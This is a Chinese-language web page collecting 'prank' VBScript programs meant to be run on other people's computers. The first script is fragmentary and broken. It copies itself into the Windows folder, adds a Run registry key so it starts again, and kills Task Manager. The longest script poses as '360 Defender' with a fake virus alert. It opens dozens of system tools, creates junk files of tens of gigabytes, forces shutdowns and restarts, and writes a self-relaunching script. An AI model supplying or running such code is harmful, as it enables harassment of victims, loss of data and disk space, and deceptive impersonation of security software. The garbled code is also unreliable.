一、求VBS整人代码。。。
set sh=createobject("wscript.shell")
msgbox"你是否经常失眠？",vbyesno
msgbox"我告诉你一个祖传秘方吧！"
set sh=createobject("wscript.shell")
sh.run"notepad"'打开记事本
do while sh.appactivate("无标题-记事本")=false
str="wokao1!ni1youmeiyou1gaocuo1!"'这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。
'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不带引号)
'并在str中输入按键的过程如：想输入“气死我了”就写 qisiwole1
'解释上一行：呼唤中文输入法
sh.sendkeys a'发送虚拟按键
wscript.sleep 500'打字速度。数值越小越快。
'解释上一行：关闭中文输入法。如果是中文，则必须去掉上一行的注释。
sh.sendkeys"c:\name.txt"'文件名(可写路径)，必须是英文。如果是中文模式，则必须将其关闭
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase("winlogon.exe") then
Set ws=CreateObject("WScript.Shell")
set fs=createobject("scripting.filesystemobject")
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfile thn,a1&"\admin123.vbs",true
ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"
if ws.appactivate("Windows任务管理器")=true then
ws.run"taskkill/f/im Taskmgr.exe"
if ws.appactivate("命令提示符")=true then
if ws.appactivate("C:\WINDOWS\system32\cmd.exe")=true then
if ws.appactivate("系统关机")=false then
Set sh=CreateObject("WScript.Shell")
msgbox"程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"
sh.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn
这个五秒内死机，十秒内鼠标不能动！
createobject("wscript.shell").run wscript.scriptfullname
二、VBS整人代码
1、WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
2、WScript.Echo("你是可爱的小朋吗?")
3、WScript.Echo("哈,我想你拉，这你都不知道吗？")
4、WScript.Echo("怎么才来，说~是不是不关心我")
5、WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
6、WScript.Echo("小强很生气，后果很严重哦。")
7、WScript.Echo("嘿嘿！你也会很惨滴哦")
8、WScript.Echo("是不是想清除我？")
9、WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
10、WScript.Echo("还剩49下，快点点哦")
11、WScript.Echo("还剩48下，快点，小笨蛋！")
12、WScript.Echo("还剩47下对，就这样快点点！")
13、WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
14、WScript.Echo("还剩45下，记得要快哦！")
15、WScript.Echo("还剩13下停停！！！慢点，我有话要说")
16、WScript.Echo("还剩12下，你继续点我就会消失滴")
17、WScript.Echo("还剩11下，以后就看不到我拉。555555")
18、WScript.Echo("还剩10下，你现在可以选择停止！")
19、WScript.Echo("还剩9下。你还点啊，不要我拉？")
20、WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
21、WScript.Echo("还剩7下。疯了，你有点负意！")
22、WScript.Echo("还剩6下。对。你就点吧，我恨你！")
23、WScript.Echo("还剩5下，不明白，删除我你就好吗？")
24、WScript.Echo("还剩4下！真要删除我？")
25、WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
26、WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
27、WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
28、WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")
29、WScript.Echo("想结素我么?那你就再多点一次")
30、WScript.Echo("想结素我么?那你就再多点一次")
31、WScript.Echo("想结素我么?那你就再多点一次")
32、WScript.Echo("想结素我么?那你就再多点一次")
33、WScript.Echo("想结素我么?那你就再多点一次")
34、WScript.Echo("想结素我么?那你就再多点一次")
35、WScript.Echo("想结素我么?那你就再多点一次")
36、WScript.Echo("想结素我么?那你就再多点一次")
37、WScript.Echo("想结素我么?那你就再多点一次")
38、WScript.Echo("想结素我么?那你就再多点一次")
三、vbs整人代码
大量的楼上已经说了。这个是本人原创，亲测有用。毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件（请准备好30G空间）【具体在代码中】
仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。
set qstart= wscript.CreateObject("wscript.shell")
set qweb= CreateObject("Wscript.Shell")
set qwrite= CreateObject("scripting.filesystemobject")
set qsay= CreateObject("sapi.spvoice")
qstart.run"D:\病毒BGM.mp3"'《江南皮革厂倒闭了.mp3》请准备好放在D:\
msgbox"您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run"cmd.exe/c start appwiz.cpl"
qstart.run"cmd.exe/c start bthprops.cpl"
qstart.run"cmd.exe/c start calc.exe"
qstart.run"cmd.exe/c start cleanmgr.exe"
qstart.run"cmd.exe/c start cmd.exe"
qstart.run"cmd.exe/c start colorcpl.exe"
qstart.run"cmd.exe/c start control.exe"
qstart.run"cmd.exe/c start cttune.exe"
qstart.run"cmd.exe/c start desk.cpl"
qstart.run"cmd.exe/c start dfrgui.exe"
qstart.run"cmd.exe/c start dxdiag.exe"
qstart.run"cmd.exe/c start FileHistory.exe"
qstart.run"cmd.exe/c start Firewall.cpl"
qstart.run"cmd.exe/c start Fondue.exe"
qstart.run"cmd.exe/c start fontview.exe"
qstart.run"cmd.exe/c start fsquirt.exe"
qstart.run"cmd.exe/c start hdwwiz.cpl"
qstart.run"cmd.exe/c start inetcpl.cpl"
qstart.run"cmd.exe/c start intl.cpl"
qstart.run"cmd.exe/c start irprops.cpl"
qstart.run"cmd.exe/c start joy.cpl"
qstart.run"cmd.exe/c start LaunchTM.exe"
qstart.run"cmd.exe/c start Magnify.exe"
qstart.run"cmd.exe/c start main.cpl"
qstart.run"cmd.exe/c start mblctr.exe"
qstart.run"cmd.exe/c start mmsys.cpl"
qstart.run"cmd.exe/c start msinfo32.exe"
qstart.run"cmd.exe/c start mspaint.exe"
qstart.run"cmd.exe/c start ncpa.cpl"
qstart.run"cmd.exe/c start notepad.exe"
qstart.run"cmd.exe/c start powercfg.cpl"
qstart.run"cmd.exe/c start RTSnMg64.cpl"
qstart.run"cmd.exe/c start SnippingTool.exe"
qstart.run"cmd.exe/c start sysdm.cpl"
qstart.run"cmd.exe/c start TabletPC.cpl"
qstart.run"cmd.exe/c start telephon.cpl"
qstart.run"cmd.exe/c start timedate.cpl"
qstart.run"cmd.exe/c start write.exe"
qstart.run"cmd.exe/c start wscript.exe"
qstart.run"cmd.exe/c start wscui.cpl"
qstart.run"cmd.exe/c fsutil file createnew 1.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 2.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 3.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 4.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 5.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 6.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 7.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 8.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 9.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 10.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 11.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 12.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 13.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 14.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 15.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 16.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 17.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 18.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 19.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 20.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 21.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 22.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 23.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 24.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 25.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 26.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 27.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 28.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 29.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 30.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 31.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 32.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 33.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 34.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 35.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 36.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 37.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 38.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 39.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 40.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 41.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 42.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 43.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 44.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 45.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 46.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 47.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 48.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 49.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 50.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 51.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 52.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 53.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 54.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 55.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 56.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 57.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 58.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 59.bug 0"
qstart.run"cmd.exe/c fsutil file createnew 60.bug 40000"
qstart.run"cmd.exe/c fsutil file createnew 61.bug 400000"
qstart.run"cmd.exe/c fsutil file createnew 62.bug 4000000"
qstart.run"cmd.exe/c fsutil file createnew 63.bug 40000000"
qstart.run"cmd.exe/c fsutil file createnew 64.bug 400000000"
qstart.run"cmd.exe/c fsutil file createnew 65.bug 4000000000"
qstart.run"cmd.exe/c fsutil file createnew 666.bug 40000000000"
qstart.run"cmd.exe/c shutdown-s-t 60-c""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机""",0,true
qstart.run"cmd.exe/c echo滚|clip"
A= INPUTBOX("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
qstart.run"cmd.exe/c shutdown-a",0,true
msgbox"好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
qweb.run"https://hao.360.com/"
qstart.run"cmd.exe/c shutdown-a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox"游戏规则：在开始后，请及时点击“确定”键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
qstart.run"cmd.exe/c shutdown-s-t 5",0,true
msgbox"取消关机",vbokonly,"360 Defender"
qstart.run"cmd.exe/c shutdown-a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run"cmd.exe/c shutdown-a",0,true
msgbox"周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox"自己探寻吧",vbokonly,"360 Defender"
qstart.run"cmd.exe/c shutdown-s-t 5",0,true
qstart.run"cmd.exe/c shutdown-a",0,true
qstart.run"cmd.exe/c shutdown-a",0,true
msgbox"emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile("D:\1.txt",,ture)
qwriteb.WriteLine"wscript.CreateObject("& chr(34)&"wscript.shell"& chr(34)&").run"& chr(34)&"D:\1.vbs"& chr(34)
qwriteb.WriteLine"msgbox"& chr(34)&"滚"& chr(34)&",vbokonly+vbinformation,"& chr(34)&"360 Defender"& chr(34)
qwrite.movefile"D:\1.txt","D:\1.vbs"
qstart.run"cmd.exe/c shutdown-a",0,true
msgbox"由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命(鲁迅)。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run"cmd.exe/c shutdown-r-t 5",0,true
好了，关于vbs整人代码怎么用和vbs整人代码大全的问题到这里结束啦，希望可以解决您的问题哈！
